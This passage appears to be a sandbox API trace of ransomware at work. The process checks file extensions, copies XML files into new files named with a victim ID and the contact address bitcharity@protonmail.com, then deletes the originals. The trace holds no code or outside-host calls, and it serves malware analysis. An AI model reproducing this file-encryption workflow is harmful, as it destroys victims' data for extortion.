[0136.830] lstrlenW (lpString=".docx") returned 5 [0136.830] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.830] lstrlenW (lpString=".pdf") returned 4 [0136.830] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.830] lstrlenW (lpString=".xls") returned 4 [0136.830] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.830] lstrlenW (lpString=".xlsx") returned 5 [0136.830] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.830] lstrlenW (lpString=".ppt") returned 4 [0136.830] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0136.830] lstrlenW (lpString=".zip") returned 4 [0136.830] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.830] lstrlenW (lpString=".rar") returned 4 [0136.830] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.830] lstrlenW (lpString=".bz2") returned 4 [0136.830] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.830] lstrlenW (lpString=".7z") returned 3 [0136.830] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0136.830] lstrlenW (lpString=".dbf") returned 4 [0136.830] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0136.830] lstrlenW (lpString=".1cd") returned 4 [0136.830] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0136.830] lstrlenW (lpString=".jpg") returned 4 [0136.830] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.831] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0136.831] lstrlenW (lpString="LocalizedData.xml") returned 17 [0136.831] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0136.831] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=77680) returned 1 [0136.831] CloseHandle (hObject=0x10b0) returned 1 [0136.831] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0136.831] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.831] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0136.831] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.832] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.832] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0136.832] GetLastError () returned 0x0 [0136.832] ReadFile (in: hFile=0x10b0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x12f70, lpOverlapped=0x0) returned 1 [0137.016] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x12f80, lpOverlapped=0x0) returned 1 [0137.018] ReadFile (in: hFile=0x10b0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.018] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xf6, lpOverlapped=0x0) returned 1 [0137.018] SetEndOfFile (hFile=0x103c) returned 1 [0137.018] CloseHandle (hObject=0x103c) returned 1 [0137.021] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.021] SetEndOfFile (hFile=0x10b0) returned 1 [0137.027] CloseHandle (hObject=0x10b0) returned 1 [0137.027] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.027] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0137.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0137.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0137.027] lstrlenW (lpString=".doc") returned 4 [0137.027] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.027] lstrlenW (lpString=".docx") returned 5 [0137.027] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0137.027] lstrlenW (lpString=".pdf") returned 4 [0137.027] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.027] lstrlenW (lpString=".xls") returned 4 [0137.027] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.028] lstrlenW (lpString=".xlsx") returned 5 [0137.028] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0137.028] lstrlenW (lpString=".ppt") returned 4 [0137.028] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0137.028] lstrlenW (lpString=".zip") returned 4 [0137.028] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.028] lstrlenW (lpString=".rar") returned 4 [0137.028] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.028] lstrlenW (lpString=".bz2") returned 4 [0137.028] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.028] lstrlenW (lpString=".7z") returned 3 [0137.028] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0137.028] lstrlenW (lpString=".dbf") returned 4 [0137.028] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0137.028] lstrlenW (lpString=".1cd") returned 4 [0137.028] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0137.028] lstrlenW (lpString=".jpg") returned 4 [0137.028] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0137.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0137.028] lstrlenW (lpString=".doc") returned 4 [0137.028] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.028] lstrlenW (lpString=".docx") returned 5 [0137.028] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0137.028] lstrlenW (lpString=".pdf") returned 4 [0137.028] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.028] lstrlenW (lpString=".xls") returned 4 [0137.028] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.028] lstrlenW (lpString=".xlsx") returned 5 [0137.028] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0137.028] lstrlenW (lpString=".ppt") returned 4 [0137.028] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0137.029] lstrlenW (lpString=".zip") returned 4 [0137.029] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.029] lstrlenW (lpString=".rar") returned 4 [0137.029] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.029] lstrlenW (lpString=".bz2") returned 4 [0137.029] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.029] lstrlenW (lpString=".7z") returned 3 [0137.029] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0137.029] lstrlenW (lpString=".dbf") returned 4 [0137.029] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0137.029] lstrlenW (lpString=".1cd") returned 4 [0137.029] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0137.029] lstrlenW (lpString=".jpg") returned 4 [0137.029] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.029] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0137.029] lstrlenW (lpString="LocalizedData.xml") returned 17 [0137.029] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0137.077] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=80254) returned 1 [0137.079] CloseHandle (hObject=0x10b4) returned 1 [0137.079] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0137.079] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.082] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0137.082] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.082] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.082] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0137.089] GetLastError () returned 0x0 [0137.089] ReadFile (in: hFile=0x10c4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x1397e, lpOverlapped=0x0) returned 1 [0137.386] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13980, lpOverlapped=0x0) returned 1 [0137.389] ReadFile (in: hFile=0x10c4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.389] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xf6, lpOverlapped=0x0) returned 1 [0137.389] SetEndOfFile (hFile=0x103c) returned 1 [0137.389] CloseHandle (hObject=0x103c) returned 1 [0137.392] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.392] SetEndOfFile (hFile=0x10c4) returned 1 [0137.393] CloseHandle (hObject=0x10c4) returned 1 [0137.393] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.394] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0137.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0137.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0137.394] lstrlenW (lpString=".doc") returned 4 [0137.394] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.394] lstrlenW (lpString=".docx") returned 5 [0137.394] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0137.394] lstrlenW (lpString=".pdf") returned 4 [0137.394] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.394] lstrlenW (lpString=".xls") returned 4 [0137.394] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.394] lstrlenW (lpString=".xlsx") returned 5 [0137.394] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0137.394] lstrlenW (lpString=".ppt") returned 4 [0137.394] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0137.394] lstrlenW (lpString=".zip") returned 4 [0137.394] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.394] lstrlenW (lpString=".rar") returned 4 [0137.394] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.395] lstrlenW (lpString=".bz2") returned 4 [0137.395] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.395] lstrlenW (lpString=".7z") returned 3 [0137.395] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0137.395] lstrlenW (lpString=".dbf") returned 4 [0137.395] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0137.395] lstrlenW (lpString=".1cd") returned 4 [0137.395] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0137.395] lstrlenW (lpString=".jpg") returned 4 [0137.395] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0137.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0137.395] lstrlenW (lpString=".doc") returned 4 [0137.395] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.395] lstrlenW (lpString=".docx") returned 5 [0137.395] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0137.395] lstrlenW (lpString=".pdf") returned 4 [0137.395] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.395] lstrlenW (lpString=".xls") returned 4 [0137.395] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.395] lstrlenW (lpString=".xlsx") returned 5 [0137.395] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0137.395] lstrlenW (lpString=".ppt") returned 4 [0137.395] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0137.396] lstrlenW (lpString=".zip") returned 4 [0137.396] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.396] lstrlenW (lpString=".rar") returned 4 [0137.396] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.396] lstrlenW (lpString=".bz2") returned 4 [0137.396] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.396] lstrlenW (lpString=".7z") returned 3 [0137.396] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0137.396] lstrlenW (lpString=".dbf") returned 4 [0137.396] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0137.396] lstrlenW (lpString=".1cd") returned 4 [0137.396] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0137.396] lstrlenW (lpString=".jpg") returned 4 [0137.396] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.396] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0137.396] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0137.396] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0137.397] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=201796) returned 1 [0137.397] CloseHandle (hObject=0x10c4) returned 1 [0137.397] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0137.397] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.397] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0137.397] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.397] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.397] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0137.398] GetLastError () returned 0x0 [0137.398] ReadFile (in: hFile=0x10c4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x31444, lpOverlapped=0x0) returned 1 [0137.501] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x31450, lpOverlapped=0x0) returned 1 [0137.505] ReadFile (in: hFile=0x10c4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.505] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xf6, lpOverlapped=0x0) returned 1 [0137.505] SetEndOfFile (hFile=0x103c) returned 1 [0137.506] CloseHandle (hObject=0x103c) returned 1 [0137.514] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.514] SetEndOfFile (hFile=0x10c4) returned 1 [0137.516] CloseHandle (hObject=0x10c4) returned 1 [0137.516] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.516] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0137.516] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0137.516] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0137.517] lstrlenW (lpString=".doc") returned 4 [0137.517] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.517] lstrlenW (lpString=".docx") returned 5 [0137.517] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0137.517] lstrlenW (lpString=".pdf") returned 4 [0137.517] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.517] lstrlenW (lpString=".xls") returned 4 [0137.517] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.517] lstrlenW (lpString=".xlsx") returned 5 [0137.517] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0137.517] lstrlenW (lpString=".ppt") returned 4 [0137.517] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.517] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0137.517] lstrlenW (lpString=".zip") returned 4 [0137.517] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.517] lstrlenW (lpString=".rar") returned 4 [0137.517] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.517] lstrlenW (lpString=".bz2") returned 4 [0137.517] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.517] lstrlenW (lpString=".7z") returned 3 [0137.517] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.517] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0137.517] lstrlenW (lpString=".dbf") returned 4 [0137.517] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.517] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0137.517] lstrlenW (lpString=".1cd") returned 4 [0137.517] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.517] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0137.517] lstrlenW (lpString=".jpg") returned 4 [0137.517] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.517] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0137.517] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0137.518] lstrlenW (lpString=".doc") returned 4 [0137.518] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.518] lstrlenW (lpString=".docx") returned 5 [0137.518] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0137.518] lstrlenW (lpString=".pdf") returned 4 [0137.518] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.518] lstrlenW (lpString=".xls") returned 4 [0137.518] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.518] lstrlenW (lpString=".xlsx") returned 5 [0137.518] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0137.518] lstrlenW (lpString=".ppt") returned 4 [0137.518] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0137.518] lstrlenW (lpString=".zip") returned 4 [0137.518] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.518] lstrlenW (lpString=".rar") returned 4 [0137.518] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.518] lstrlenW (lpString=".bz2") returned 4 [0137.518] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.518] lstrlenW (lpString=".7z") returned 3 [0137.518] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0137.518] lstrlenW (lpString=".dbf") returned 4 [0137.518] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0137.518] lstrlenW (lpString=".1cd") returned 4 [0137.518] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0137.518] lstrlenW (lpString=".jpg") returned 4 [0137.518] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.519] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0137.519] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0137.519] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0137.519] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=93314) returned 1 [0137.519] CloseHandle (hObject=0x10c4) returned 1 [0137.519] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) 